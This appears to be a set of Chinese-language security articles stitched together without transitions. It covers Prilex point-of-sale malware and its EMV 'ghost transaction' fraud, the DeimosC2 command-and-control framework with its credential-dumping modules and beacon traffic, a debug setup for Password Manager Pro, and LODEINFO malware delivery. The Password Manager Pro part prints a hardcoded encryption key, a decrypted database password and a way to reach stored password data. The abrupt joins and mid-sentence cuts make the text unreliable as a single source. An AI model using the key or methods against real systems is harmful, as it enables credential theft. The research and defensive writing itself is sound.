攻擊者沒有進入ATM的物理權限,但他們能夠通過一個包含4G路由器和樹莓派的DIY設備訪問銀行的網絡。通過打開後門,他們能夠劫持該機構的無線連接,並隨意攻擊ATM。在獲得初始網絡訪問權限後,攻擊者將運行網絡識別過程以查找每個ATM 的IP 地址。有了這些信息,攻擊者將啟動橫向移動階段,使用默認的Windows 憑據,然後在所需的系統中安裝定制的惡意軟件。後門將允許攻擊者通過啟動惡意軟件界面並輸入攻擊者提供的代碼來清空ATM 套接字,每個被黑客攻擊的ATM的代碼都是自定義的。

1.png

感染了Prilex 的ATM

攻擊中使用的惡意軟件名為Prilex,它是通過使用特權信息和ATM 網絡的高級知識從零開始開發的。該惡意軟件能夠從插入受感染ATM 的信用卡和借記卡上的磁條中捕獲信息。之後,這些有價值的信息可用於克隆銀行卡並從銀行客戶那裡竊取更多資金。

演變成PoS 惡意軟件的過程Prilex 已經從專注於ATM 的惡意軟件演變為針對巴西國內的支付系統的模塊化惡意軟件,即所謂的EFT/TEF 軟件。它們的ATM 和PoS 版本之間有許多相似之處。他們的第一個PoS 惡意軟件於2016 年10 月在野外被發現。前兩個樣本的編譯日期為2010/2011,如下圖所示。但是,研究人員認為由於不正確的系統日期和時間設置而設置了無效的編譯日期。在後來的版本中,時間戳對應於發現樣本的時間。我們還注意到,在2022 年開發的軟件中,開發人員開始使用Subversion 作為版本控制系統。

2.png

Prilex PoS 惡意軟件的版本:2022 年的3 個新版本

如上所示,Prilex 在2020 年非常活躍,但在2021 年突然消失,並在2022 年重新出現並發布了三個新變體。

Prilex的PoS版本是用Visual Basic編寫的,但本文中描述的竊取模塊是用p-code編寫的。簡而言之,這是Visual Basic 程序中的高級指令與CPU 執行的低級本機代碼之間的中間步驟。 Visual Basic在運行時將p-code語句轉換為本機代碼。

Prilex 並不是唯一起源於巴西的PoS 惡意軟件,研究人員發現它與原來的Trojan-Spy.Win32.SPSniffer 存在某種聯繫,兩個家族都能夠攔截PIN pad的信號,但使用的方法不同。

PIN pad配備硬件和安全功能,以確保在有人試圖篡改設備時擦除安全密鑰。事實上,PIN在進入設備時使用各種加密方案和對稱密鑰進行加密。大多數情況下,這是一個三重DES編碼器,使它很難破解PIN。

但是有一個問題:這些設備總是通過USB 或串行端口連接到計算機,這些端口與EFT 軟件進行流量。原來的PIN pad設備使用過時和弱加密方案,使得惡意軟件很容易安裝USB 或串行端口嗅探器來捕獲和解密PIN pad和受感染系統之間的流量。這就是SPSniffer 獲取信用卡數據的方式。有時流量甚至沒有加密。

3.png

SPSniffer:允許捕獲非加密流量的串口嗅探器

Prilex 用於捕獲信用卡數據的主要方法是使用PoS 系統庫中的補丁,允許惡意軟件收集軟件傳輸的數據。惡意軟件將尋找一組特定的可執行文件和庫的位置,以便應用補丁,從而覆蓋原始代碼。安裝補丁後,惡意軟件會從TRACK2 收集數據,例如帳號和到期日期,以及執行欺詐交易所需的其他持卡人信息。

初始感染載體Prilex 不是一種廣泛傳播的惡意軟件,因為它不是通過電子郵件垃圾郵件活動傳播的。它具有高度針對性,通常通過社會工程傳播,例如,目標企業可能會接到自稱是“技術人員”的電話,他堅持認為該公司需要更新其PoS軟件。假冒技術人員可能會親自訪問目標,或要求受害者安裝AnyDesk,並為其提供遠程訪問權限,以安裝惡意軟件。

4.png

PoS 供應商關於Prilex 社會工程攻擊的警告

使用EMV標準的漏洞發起攻擊巴西於1999 年開始使用EMV,如今,該國發行的幾乎所有卡都支持芯片。芯片內部有一個基於java的小應用程序,可以很容易地操作以創建一張“金票(golden ticket)”卡,該卡在大多數銷售點系統中都有效。這使攻擊者能夠升級他們的工具集,使他們能夠以這種新技術為特色創建自己的卡片。

最初版本的Prilex能夠執行重放攻擊,在這種攻擊中,它們沒有破壞EMV協議,而是利用了糟糕的實現。由於支付運營商未能執行EMV 標準要求的某些驗證,攻擊者可以利用該過程中的這一漏洞為自己謀取利益。

在這種攻擊中,欺詐者通過卡片網絡推送常規磁條交易作為EMV購買,因為他們控制著支付終端,並有能力操縱通過該終端進行交易的數據字段。後來他們轉而從真正的基於EMV 的芯片卡交易中獲取流量。攻擊者可以將被盜的卡數據插入交易流程,同時動態修改商家和收購方的銀行賬戶。

至少從2014年起,巴西網絡攻擊者已經成功發起重放攻擊,比如2019 年對一家德國銀行的攻擊,該銀行損失了150 萬歐元,Prilex團伙聲稱對此負責。從名稱字段和工具的功能來看,他們很可能使用了他們在黑市上銷售的軟件。

為了使用克隆的信用卡自動進行攻擊,Prilex 攻擊者使用了Xiello 等工具,這是研究人員在2020 年通過遙測技術發現的。該工具允許網絡攻擊者在進行欺詐性購買時批量使用信用卡。它將購買數據發送給信用卡購買者,然後由他們批准或拒絕交易。

5.png

Prilex 用於自動化交易的Xiello 工具

隨著支付行業和信用卡發行商修復EMV 中的漏洞被修復,重放攻擊變得過時且無效,這促使Prilex 團伙採用其他新的信用卡欺詐方式。

從“Replay”技術到“Ghost”技術的演進最新版本的Prilex在攻擊方式上與之前的版本有所不同:該組織已從重放攻擊轉變為使用受害者卡在店內支付過程中生成的密碼進行欺詐交易,攻擊者將其稱為“GHOST 交易”。

在這些攻擊中,Prilex 樣本作為RAR SFX 可執行文件安裝在系統中,將所有必需的文件提取到惡意軟件目錄並執行安裝腳本(VBS 文件)。從已安裝的文件中,我們可以突出顯示該活動中使用的三個模塊:一個後門,在這個版本中除了用於流量的C2服務器外沒有改變;一個竊取模塊和一個上傳模塊。

6.png

維護持久性的Prilex方法

竊取模塊負責攔截銷售點軟件和用於在交易期間讀取卡的PIN pad之間的所有流量。一旦識別出正在運行的交易,惡意軟件將攔截並修改交易內容,以便能夠捕獲卡信息並向受害者的卡請求新的EMV 密碼。這些密碼隨後用於GHOST 交易。

7.png

用於解析發送/接收的密碼鍵盤消息的方法

為了針對一個特定的進程,攻擊者將對機器進行初步篩選,以檢查它是否是具有足夠信用卡交易的有趣目標,並確定他們將針對的流程。

進程被識別後,惡意軟件將繼續安裝攔截交易信息所需的掛鉤。由於PoS 軟件和讀卡器之間的流量是通過COM 端口進行的,因此惡意軟件會在目標進程內安裝許多Windows API 的掛鉤,旨在根據需要監控和更改數據。有趣的是,Prilex 不是為掛鉤程序分配內存,而是在模塊內存中找到空閒空間,這種技術稱為代碼洞穴,這使得一些安全解決方案很難檢測到受感染系統中的威脅。

8.png

添加到CloseHandle進程中的掛鉤代碼

從交易中捕獲的所有信息都被保存到一個加密文件中,該文件位於惡意軟件配置之前設置的目錄中。這些文件隨後會被發送到惡意軟件C2服務器上,允許網絡攻擊者通過以虛假公司名義註冊的欺詐性PoS 設備進行交易。

9.png

捕獲的信用卡數據稍後將被發送到運營商服務器

以前的版本監控交易是為了獲取原始交易生成的密碼,然後使用收集的密碼執行重放攻擊。在這種情況下,密碼具有相同的ATC(應用程序交易計數器),允許通過重複使用ATC 以及密碼內部的日期與提交日期不匹配的事實來識別欺詐交易,因為欺詐交易是在較晚的時間提交的。

在較新版本的Prilex 執行的GHOST 攻擊中,它會在捕獲交易後請求新的EMV 密碼。然後,這些密碼將通過其中一種網絡犯罪工具用於欺詐交易,其輸出日誌如下所示。

10.png

上表顯示了從惡意軟件收集的數據。它包含由卡生成的授權請求密碼(ARQC),現在應該得到發卡機構的批准。剖析響應(80128000AA5EA486052A8886DE06050A03A4B8009000)後,我們得到以下信息。

11.png

卡上應用了多個應用程序密碼,其中交易金額(藍色)、ATC(綠色)和生成的密碼(紅色)在每次交易中都會發生變化。

12.png

簡而言之,這是整個Prilex 方案:

13.png

Prilex:從感染到套現

後門模塊後門有許多命令,除了內存掃描程序常見的內存掃描之外,較老的(ATM) Prilex版本還提供了一個命令,用於調試進程和查看其內存。這很可能被用於了解目標軟件行為並對惡意軟件或環境進行調整以執行欺詐交易。舊版本的Prilex 對特定軟件庫進行了修補,而較新的示例不再依賴特定軟件,而是使用Windows api來執行它的工作。

14.png

Prilex 調試器

下面是在ATM版本的Prilex中使用的命令列表,其中包括調試:

Reboot,SendKeys,ShowForm,Inject,UnInject,HideForm,Recursos,GetZip,SetStartup,PausaProcesso,LiberaProcesso,Debug,SendSnapShot,GetStartup,CapRegion,CapFerro,KillProcess,Shell,Process,GetModules,GetConfi g,StartSendScreen,StopSendScreen,ReLogin,StartScan,GetKey,SetConfig,RefreshScreen,Download,TakeRegions,EnviarArquivo,ScanProcessStart,ScanProcessStop,StartRegiao,StopRegiao,StartDownload,StopDownload.

即使在PoS 版本中添加了一組新命令,我們仍然可以發現一些來自ATM 攻擊的命令仍在使用中。許多可用的命令都是通用的,這允許攻擊者收集有關受感染機器的信息。

15.png

上傳模塊

該模塊負責檢查配置文件中CABPATH參數指定的目錄,並將所有被盜交易生成的cab文件發送到服務器,這些文件是通過HTTP POST 請求發送的。模塊使用的終端也在上傳器配置文件中提到。

16.png

該模塊的使用表明該組織的操作結構發生了變化,因為在之前的版本中,收集到的信息被發送到服務器,該服務器的地址被硬編碼為竊取代碼,並且該模塊使用與後門相同的協議。該上傳程序允許操作人員根據配置文件中的指示設置所收集信息的終端,從分析的樣本來看,可以看到該過程涉及不同的基礎設施。

17.png

捕獲的數據存儲在上傳器C2 中

惡意軟件即服務早2019年,一家聲稱與Prilex有關聯的網站開始提供據稱是該組織創建的惡意軟件包。研究人員認為這是不可能的,因為該網站可能由試圖冒充該組織的模仿者運營,並利用Prilex 多年來贏得的聲譽來賺錢。

在撰寫本文時,該網站仍在運行中。

18.png

據稱是Prilex PoS 套件的要價是3500 美元

19.png

該網站稱其所有者過去曾與俄羅斯網絡攻擊者合作,不過該說法還無法被驗證。值得一提的是,研究人員在地下渠道發現了通過Telegram 聊天銷售的Prilex 惡意軟件包被引用,價格在10000 歐元到13000 美元之間。研究人員無法確認所提供的是真正的Prilex 惡意軟件。

同時,Prilex 現在使用Subversion 清楚地表明他們正在與多個開發人員合作。

總結Prilex 組織非常擅長對信用卡和借記卡交易發起攻擊,並開髮用於支付處理的軟件。這使攻擊者能夠不斷更新他們的工具,以找到繞過授權策略的方法,從而允許他們執行攻擊。

經過多年的活動,該組織已經迭代了很多攻擊技術。但是,它總是濫用與PoS 軟件相關的流程來攔截和修改與PIN pad的流量。考慮到這一點,研究人員強烈建議PoS 軟件開發人員在其模塊中實施自我保護技術。

隨著網絡防御者對Cobalt Strike的關注度上升,攻擊者一直在尋找替代的命令與控制(CC)框架,DeimosC2就是一個替代工具。

CC系統對於滲透測試人員和安全人員來說是非常有用的協作工具。它們為所有受害設備提供了一個公共的位置,以便與之聯繫、進行控制,並允許多個用戶與相同的受害設備進行交互。當執行授權測試時,這是非常重要的,因為日誌保存在一個單獨的地方,以幫助報告。然而,越來越多的這些工具被攻擊者利用,包括開源工具和商業工具。它們的易用性和穩定性讓它們能夠長時間運行而沒有任何問題,這也是為什麼攻擊者也開始轉向這些CC平台而不是建立自己的平台的原因之一。

由於大多數注意力都集中在像Cobalt Strike這樣的成熟的商業工具上,攻擊者一直在尋找能夠提供許多相同功能的其他替代品。對於防御者來說,這意味著隨著攻擊者轉向開源CC軟件,個人和組織都更難抵禦網絡攻擊了。

開源CC軟件與其他一些開源CC框架(如Ares C2、PoshC2和TrevorC2)一樣,DeimosC2提供了經典的CC框架特性,但也提供了一個感覺和行為非常像Cobalt Strike或Metasploit Pro等商業工具的用戶界面。

到目前為止,在地下犯罪組織中,將DeimosC2作為替代方案的討論還不多,但攻擊者可能會在不久的將來將DeimosC2作為首選工具。雖然DeimosC2不是攻擊者目前尋找其他CC平台使用的最受歡迎的選擇,但研究DeimosC2,可以更好地了解是什麼原因使攻擊者想要使用這個平台作為CC框架?

什麼是DeimosC2? DeimosC2是一個開源的CC框架,於2020年6月發布。它是一個功能齊全的框架,允許多個攻擊者訪問受害計算機,為其創建有效負載並與之交互。作為一個利用後的CC框架,DeimosC2將生成需要在計算機服務器上手動執行的有效負載,這些有效負載已經通過其他手段(如社會工程、利用或暴力攻擊)被破壞。一旦部署有效負載,攻擊者將獲得與執行有效負載的用戶帳戶(管理員或普通用戶)相同的系統訪問權。注意,DeimosC2不執行任何類型的活動升級或特權升級。

利用後CC服務器很受安全人員歡迎,因為它們提供了一種方便的方法,可以與多個受害設備交互,收集記錄,並存儲對每台設備所做的事情的證據。

DeimosC2的特點DeimosC2有兩種在系統上安裝的選項:一種是不依賴於安裝Go的預構建二進製文件,另一種是可以在任何安裝了Go的系統上編譯和運行的源代碼。在這項研究中,使用了Debian虛擬機(VM)中預先構建的二進製文件,因此與使用直接從GitHub項目下載的源代碼相比,某些行為可能有所不同。

3.png

GitHub上的DeimosC2服務器二進製文件

DeimosC2結合了許多與其他cc軟件平台相同的特性。像DeimosC2這樣的CC系統的主要目的之一是幫助安全人員和滲透測試人員整合他們的基礎設施,在研究期間通過共享被破壞的主機與他人協作。考慮到這一點,DeimosC2具有多個用戶支持,為用戶提供兩種角色:管理員和用戶。下圖顯示了DeimosC2測試中的兩個用戶設置。

4.png

DeimosC2中的用戶配置截圖

因為DeimosC2也是針對安全研究人員的,所以它支持多因素身份驗證(MFA)、API、備份和恢復特性,以及將系統標記為開發系統或生產系統的能力。

設置了用戶之後,下一步是設置偵聽器,偵聽器是受害設備將接觸到的套接字和協議。 DeimosC2有五種類型的偵聽器,用戶可以為其有效負載配置這些偵聽器,到目前為止我們看到的最常見的是HTTPS和TCP。我們預計,隨著這些工具的普及,我們很可能會看到攻擊者使用DNS over HTTPS DNS over HTTPS (DoH)選項。

5.png

顯示偵聽器設置類型的截圖

一旦做出選擇(在本例中是HTTPS),就會通過輸入強制設置和某些可選設置所需的數據來配置偵聽器。用戶需要設置域名和IP地址,而密鑰和大多數高級設置是可選的。

6.png

顯示HTTPS偵聽器設置的截圖

在高級設置中,有一些CC服務器工作方式的可配置選項。在這裡,你可以找到更改受害者將通過HTTP POST使用到CC服務器的默認路徑的設置。默認情況下,這些路徑是/login、/index、/settings和/profile,但可以在創建偵聽器期間更改這些路徑。它們也可以在以後更改。然而,需要創建新的二進製文件。

配置完所有設置後,將根據設置的“編譯選項”部分中的選項創建二進製文件。這些設置決定了要創建哪些二進製文件以及是否應該對它們進行模糊處理。

創建二進製文件後,通過從偵聽器選項中選擇“interactive”,即可通過界面下載它們。

7.png

為HTTPS偵聽器創建的偵聽器的截圖

一旦下載,這些軟件就可以部署到通過其他方式(如網絡釣魚或漏洞攻擊)受到威脅的設備上。易於使用,為CC通信創建開發後二進製文件。

DeimosC2代理分析雖然許多DeimosC2示例都使用了gobfuscate(一種用於混淆Go語言編寫的程序的開源工具),但我們也發現了未混淆的示例。這使我們能夠識別出DeimosC2包的名稱,我們發現這是一個開源的後開發C2框架。也可以手動消除gobfuscate等工具實現的更改的模糊化,但這太耗時。

在DeimosC2術語中,用於感染受害者的客戶機二進製文件稱為代理。 DeimosC2利用Go語言的多平台特性為不同的體系結構(如Windows、Linux、macOS和Android)編譯代理。

代理很簡單:當執行時,它會立即嘗試聯繫硬編碼CC域或IP地址中的偵聽器,除非設置了執行時間範圍。

DeimosC2代理使用三個不同的秘鑰與偵聽器交換消息。

代理秘鑰這是標識代理的唯一秘鑰。秘鑰最初被設置為'000000000000000000000000000000000000',但是來自偵聽器的第一個響應將它更新為一個新版本,4 UUID。

AES密鑰這個256位AES密鑰是每次代理與CC偵聽器對話時隨機生成的,這用於加密與CC偵聽器交換的消息。

RSA密鑰除了AES加密之外,DeimosC2還使用RSA-2048對代理和前面解釋的AES密鑰進行加密。代理使用硬編碼的公鑰加密其他密鑰,而CC偵聽器使用其私鑰解密數據。

下圖從代理的角度說明了加密過程。

8.png

DeimosC2代理加密方案

發送到CC偵聽器的第一條消息以JSON格式包含有關受感染設備的信息,如下圖所示。

9.png

首次發送到CC偵聽器的JSON數據示例

發送的數據包括有關操作系統、已安裝的防病毒產品、主機名、登錄的用戶名、內部IP地址、文件系統上的代理路徑、可用的shell程序、進程ID (PID)和用戶特權的信息。

命令C2偵聽器響應可以包括一個或多個命令(在DeimosC2術語中稱為“jobs”)。

DeimosC2命令及其描述如下:

Shell:執行shell命令;

下載:將文件下載到CC服務器;

上傳:將文件上傳到受感染的計算機;

選項:抖動和延遲選項設置CC通信的休眠時間。 eol(我們假設它意味著生命結束)選項設置代理退出的日期,而hours選項配置通信的時間範圍;

文件瀏覽器:要求代理列出給定路徑上的所有文件和目錄;

shellInject:在代理進程中註入並運行自定義shell代碼;

模塊:執行一個模塊;

Reinit:重新連接代理,這會使代理獲得一個新的代理密鑰;

pivotTCP:啟動受感染設備中的TCP服務器,以便其他代理可以將其用作偵聽器,用於感染無法訪問互聯網的設備;

pivotJob:處理數據透視作業;

pivotKill:重置透視偵聽器列表;

Kill:卸載代理;

模塊DeimosC2通過可以在受害者的設備中執行的模塊擴展其功能, DeimosC2信息如下:

Screengrab:在受感染的設備上截屏;

Minidump:生成給定進程的用戶模式小型轉儲;

Lsadump:下載SECURITY和SYSTEM註冊表配置單元以竊取憑據;

Ntdsdump:下載Ntds.dit並且SYSTEM文件用於憑證竊取;

Samdump;下載SECURITY、SYSTEM和SAM註冊表配置單元以竊取憑據;

Shadowdump:從Linux設備下載/etc/shadow文件;

DeimosC2的模塊接口允許CC偵聽器推送新模塊並從磁盤或內存(使用代碼注入)執行它們。

網絡分析正如我們前面提到的,在使用DeimosC2時,用戶可以選擇幾種偵聽器類型,包括HTTPS、TCP和DoH。這些可能是最常見的選項,因為它們在其他CC平台上很受歡迎。由於DeimosC2的開源特性,我們能夠詳細研究這些偵聽器是如何工作的。

HTTPS偵聽器當監聽器運行HTTPS時,我們發現有一個默認的網頁被配置。通過查看GitHub頁面,我們確認它是Apache的默認Ubuntu頁面。

11.png

顯示標題的默認Apache Ubuntu頁面的Nmap結果

根據安裝過程中偵聽器的配置,我們知道該工具使用了一些路徑。查看代理源代碼的.go版本,我們可以看到已經設置並正在使用的進程。

12.png

代理使用的路徑的Go變量

變量“firsttime”用於與服務器的初始通信。從那時起,變量“checkin”將被使用。

基於此,我們可以對CC服務器是否為默認配置以及是否啟用了HTTPS檢測進行指紋識別。代理將向/login發送HTTP POST,然後定期向/index發送。 HTTPS偵聽器使用的默認端口為4443。但是,在任何其他端口上創建偵聽器時,都可以輕鬆更改此端口。在/profile上,變量“moduleloc”用於將數據從代理髮送回服務器。最後,使用“piviotloc”變量通過當前受害者傳遞數據,作為前面描述的代理piviotloc功能的一部分。

13.png

HTTPS_agent中的sendMsg函數

下圖顯示了由配置為使用HTTPS偵聽器的代理髮送的加密POST請求。默認情況下,它使用/login發送第一條消息,之後,代理默認情況下向/checkin發送請求。

14.png

由配置為使用HTTPS偵聽器的代理髮送的加密POST請求

TCP偵聽器TCP偵聽器利用Go語言函數創建數據包並將其發送到已創建的套接字。加密流程的工作原理與HTTPS加密相同。在這種情況下,唯一的區別是,整個消息的長度有助於數據的解密。為了實現這一點,它在加密數據的前面加上已加密和要發送的數據的長度。這將發送到套接字,然後發送到CC服務器。

15.png

來自TCP偵聽器Go代碼的sendMsg函數

根據我們對從TCP代理髮送到偵聽器的數據包的分析,這部分具有可預測的行為。由於uint64調用,創建的長度將是64位或8字節長的無符號整數。分組的數據部分的開始將有8個字節,用於隨後的分組長度。我們在與CC服務器的通信中觀察到的大多數信息都是這樣。每個數據包總共350字節,包含296字節的數據。

16.png

與CC服務器通信的TCP代理的數據包的數據部分(突出顯示部分)

由於我們知道數據包的數據部分前面有數據包大小,並且它是一個8字節的無符號整數,因此我們可以得出結論,數據的前8字節是處理數據包時將遵循的大小。

在本例中,有一個296字節的數據字段,如果我們去掉長度字段的8個字節,就會為來自CC服務器的命令留下288個字節。如果我們取288字節並將其轉換為十六進制系統,這很容易計算出來,結果是0x120或01 20,這就是我們在所看到的示例中0的前6個字節後發現的結果。

17.png

DeimosC2 TCP數據包結構

檢測這種行為的一種可能方法是使用snort規則來查找通信流量。下面是一個Snort規則的示例,它將檢測我們的示例數據包:

18.png

基於Snort中僅啟用此規則的測試,我們確認它將檢測來自TCP代理的通信。請注意,此規則可能需要基於特定設置進行調整,以消除誤報並提高傳感器性能。

19.png

來自Snort規則的示例警報的截圖

DoH偵聽器DoH或DNS over HTTPS偵聽器使用DNS查詢與CC服務器通信。使用DoH的優點之一是不需要與CC服務器直接通信。但是,通信會出現延遲。因此,如果需要秘密進行,通常使用DoH。 DeimosC2使用谷歌的HTTPS JSON API進行DNS。這與穀歌也支持的符合RFC 8484的DoH請求不同。這是一種更容易編程的解決方案,攻擊者很容易使用。

20.png

顯示dns.google.com/resolve用法的Go代碼截圖

在偵聽器配置中,有兩個名稱可以更改:第一次變量和簽入變量。在設置偵聽器時,它們的默認名稱分別是getname和checkin。當代理第一次接觸到偵聽器時,它將首先使用firsttime變量,之後將使用checkin變量進行心跳通信。與HTTPS和TCP不同,代理不會直接與偵聽器通信,但它將與前面提到的DNS谷歌服務通信。

21.png

用於與DoH偵聽器的初始通信的變量

在初始設置中,可以觀察到的一個查詢如下所示:

https://dns.google.com/resolve?name=0000000000.6765746e616d65.ftr.trendmicro.com

當你查看這個查詢時,有一些東西非常突出,其中一個是6765746e616d65子域,它是在簽入過程中從代碼生成的。在本例中,該值第一次接受變量,並根據其ASCII值(在我們的例子中為getname)將其內容轉換為十六進制系統。然後將其用作發送到dns.google.com的第一個子域。要對此進行解碼,需要來自代理或CC服務器本身的AES密鑰。

22.png

初始簽入過程的DoH代理代碼

我們討論過的所有這些方法都基於配置中設置為默認值的路徑和變量,在構建監聽器時很容易更改。更改默認設置有利於安全研究人員使用,幫助在網絡日誌中查找流量。然而,當攻擊者更改這些設置時,在未來的活動中發現他們將變得更加困難,因為他們會改變他們的變量來改變他們的TTP,以避免被發現或根據活動修改配置。我們提供這些信息是為了幫助防御者了解在攻擊中遇到非默認行為時DeimosC2的幕後情況。

更改默認偵聽器設置在DeimosC2用戶界面中很容易實現路徑的更改,以/login、/index、/settings和/profile的HTTPS偵聽器的默認路徑為例。要改變這一點,攻擊者只需在構建偵聽器時展開“高級選項”。

23.png

構建HTTPS偵聽器時高級選項的屏幕截圖

改變路徑很可能是攻擊者要做的事情,這將導致我們之前討論的二進製文件和通信模式中的一些內容髮生改變。例如,如果DOH代理中的getname被更改,它將不再轉到6765746e616d65,而是重定向到它被更改為的子域,轉換為十六進制系統(例如“trendmicroftr”,它在DOH查詢中看起來像7472656e646d6963726f667472)。這也是尋找這些工具變得越來越困難的原因之一,因為規避技術是內置在選項中。

每個偵聽器都可以更新特定的信息,這些信息將更改所使用的一些路徑和子域。 TCP偵聽器具有最少的選項,在編寫本文時,它可能是最容易通過網絡監控方法檢測到的偵聽器之一。

針對DeimosC2防禦網絡的建議探測CC流量對於全球的網絡防御者來說都是一個頭疼的話題。幸運的是,在對DeimosC2進行研究期間,我們發現了一些可以用於檢測與服務器通信的代理的存在的技術。

雖然有些網絡活動是動態的,例如對URL路徑的檢查(因為在設置偵聽器時,攻擊者可以更改這些路徑),但其他活動是可預測的。例如,TCP偵聽器通信的前8個字節可以用於在入侵檢測系統(IDS)中使用提供的Snort規則進行檢測。

在DoH示例中,如果防御者在正常業務操作中沒有使用利用DoH的JSON版本的服務,建議阻止或至少記錄HTTPS到dns[.]google。目前大多數利用DoH的DeimosC2示例都使用Google提供的DoH的JSON版本,這將使該代理無法完全工作。

然而,重要的是要記住DeimosC2是一個利用後的CC框架,如果你在你的網絡上看到它的流量,那麼你已經被攻擊了,這只是攻擊者設置持久性。如果你在系統中檢測到DeimosC2,你應該意識到可能還部署了其他你可能不知道的攻擊工具。假設你已經被攻擊了,這也提供了額外的防禦選擇:

防御者應該定期監測出站通信,特別是,它們應該標記任何發送的數據量比正常監控

0x00 前言本文記錄從零開始搭建Password Manager Pro漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

Password Manager Pro安裝

Password Manager Pro漏洞調試環境配置

數據庫連接

0x02 Password Manager Pro安裝1.下載最新版下載地址:https://www.manageengine.com/products/passwordmanagerpro/download.html

舊版本下載地址:https://archives2.manageengine.com/passwordmanagerpro/

最新版默認可免費試用30天,舊版本在使用時需要合法的License

注:

我在測試過程中,得出的結論是如果缺少合法的License,舊版本在使用時只能啟動一次,第二次啟動時會提示沒有合法的License

2.安裝系統要求:https://www.manageengine.com/products/passwordmanagerpro/system-requirements.html

對於Windows系統,需要Win7以上的系統,Win7不支持

默認安裝路徑:C:\Program Files\ManageEngine\PMP

3.測試安裝成功後選擇Start PMP Service

訪問https://localhost:7272

默認登錄用戶名:admin

默認登錄口令:admin

如下圖

1.png0x03 Password Manager Pro漏洞調試環境配置本文以Windows環境為例

1.Password Manager Pro設置查看服務啟動後相關的進程,如下圖

2.pngjava進程的啟動參數:

3.pngjava進程的父進程為wrapper.exe,啟動參數:

4.png查看文件C:\Program Files\ManageEngine\PAM360\conf\wrapper.conf,找到啟用調試功能的位置:

5.png取消註釋後,內容如下:

6.png

注:

Address的配置不需要設置為address=*:8787,會提示ERROR: transport error 202: gethostbyname: unknown host,設置address=8787就能夠支持遠程調試的功能

重啟服務,再次查看java進程的參數:wmic process where name='java.exe' get commandline

配置修改成功,如下圖

7.png

2.常用jar包位置路徑:C:\Program Files\ManageEngine\PMP\lib

web功能的實現文件為AdventNetPassTrix.jar

3.IDEA設置遠程調試設置如下圖

8.png

遠程調試成功,如下圖

9.png

0x04 數據庫連接默認配置下,Password Manager Pro使用postgresql存儲數據

配置文件路徑:C:\Program Files\ManageEngine\PMP\conf\database_params.conf

內容示例:

10.png 11.png

1.口令破解數據庫連接的口令被加密,加解密算法位於C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar中的com.adventnet.passtrix.ed.PMPEncryptDecryptImpl.class

密鑰固定保存在com.adventnet.passtrix.db.PMPDBPasswordGenerator.class,內容為@dv3n7n3tP@55Tri*

我們可以根據PMPEncryptDecryptImpl.class中的內容快速編寫一個解密程序

解密程序可參考:https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/

注:

文章中涉及數據庫口令的解密沒有問題,Master Key的解密存在Bug,解決方法將在後面的文章介紹

解密獲得連接口令為Eq5XZiQpHv

2.數據庫連接根據配置文件拼接數據庫連接的命令

(1)失敗的命令

12.png

(2)成功的命令

將localhost替換為127.0.0.1,連接成功,完整的命令為:

13.png(3)一條命令實現連接數據庫並執行數據庫操作

格式為psql --command='SELECT * FROM table;' postgresql://

示例命令:

14.png輸出如下:

15.png

發現password的數據內容被加密

0x05 小結在我們搭建好Password Manager Pro漏洞調試環境後,接下來就可以著手對漏洞進行學習。

abstract_digital_japan-1200x600.jpg自2019年以來,卡巴斯基一直在跟踪涉及LODEINFO惡意軟件家族的活動,尋找迭代版本,並徹底調查利用這些新變體的任何攻擊。 LODEINFO是一種複雜的無文件惡意軟件,最在2020年2月就被發現被命名了。惡意軟件被開發人員定期修改和升級,專門針對日本的媒體、外交、政府和公共部門組織和智庫。

1.png

日本可能是LODEINFO的主要目標

此後,研究人員繼續追踪LODEINFO。 JPCERT/CC和Macnica Networks都報導過其迭代版本。卡巴斯基研究人員還在2021 HITCON會議上分享了新發現,涵蓋2019年至2020年的LODEINFO活動。

在2022年3月,卡巴斯基研究人員觀察到一個Microsoft Word文件被用作一些攻擊的感染媒介。同年6月,針對日本政府或相關機構的SFX文件被發現,文件中使用了日本著名政治家的名字,並使用了含有日本內容的誘餌文件。還觀察到一個名為DOWNIISSA的新的下載程序shellcode,用於部署LODEINFO後門。

接下來,我們將首先介紹新的感染方法的技術分析,如SFX文件和DOWNIISSA以及我們的發現。之後將介紹LODEINFO後門的技術分析,以及每個版本的後門的相關shellcode。

初始感染:VBA + DLL側加載在對2022年3月的攻擊進行調查期間,我們發現了一封帶有惡意附件的魚叉式釣魚電子郵件,其中安裝了惡意軟件持久性模塊,該模塊由合法的EXE文件和通過DLL側加載技術加載的惡意DLL文件組成。例如,以下部分描述了一個上傳到Virustotal的惡意Microsoft Word文件(MD5: da20ff8988198063b56680833c298113)。一旦目標打開惡意文檔文件,就會顯示一條日語消息:根據您的網絡安全設置,單擊上面黃色文檔欄上的“啟用編輯”和“啟用內容”以打開該文件。誘餌受害者點擊“啟用內容”並啟用嵌入式宏。

2.png

欺騙目標點擊“啟用內容”並嵌入VBA代碼日文信息

嵌入的VBA代碼創建文件夾C:\Users\Public\TMWJPA\,並在同一文件夾中釋放一個名為GFIUFR.zip (MD5: 89bd9cf51f8e01bc3b6ec025ed5775fc)的壓縮文件。 GFIUFR.zip包含兩個文件:NRTOLF.exe和K7SysMn1.dll。 NRTOLF.exe (MD5: 7f7d8c9c1b6735807aefb0841b78f389)是一個數字簽名的合法EXE文件,來自K7Security Suite軟件,用於DLL側加載。 K7SysMn1.dll (MD5: cb2fcd4fd44a7b98af37c6542b198f8d)是NRTOLF.exe附帶加載的惡意DLL。惡意DLL文件包含LODEINFO shellcode的加載程序。這個DLL是一個已知的LODEINFO加載程序模塊。它包含一個由0.5.9版本內部識別的單字節XOR加密LODEINFO外殼代碼。在我們調查的前幾次攻擊中,攻擊者也使用了這種感染方法。

除此之外,我們還發現了另外兩個與LODEINFO相關的植入程序。

初始感染2:SFX + DLL側加載其中一個植入程序是RAR格式的自解壓存檔(SFX)文件(MD5 76cdb7fe189845a0bc243969dba4e7a3),該文件也上傳到了Virustotal。類似地,歸檔文件包含三個文件,分別為1.docx、K7SysMn1.dll和K7SysMon.exe,其中包含如下所示的自解壓腳本命令。惡意軟件開發者還添加了一條用日語寫的評論,可以翻譯為“以下評論包含一個自解壓腳本命令”:

3.png

當目標用戶執行這個SFX文件時,歸檔文件將其他文件放置到%temp% dir,並將1.docx作為一個僅包含幾個日語單詞的誘餌打開,如下圖截圖所示。

4.png

來自1.docx的簡單誘餌文檔內容

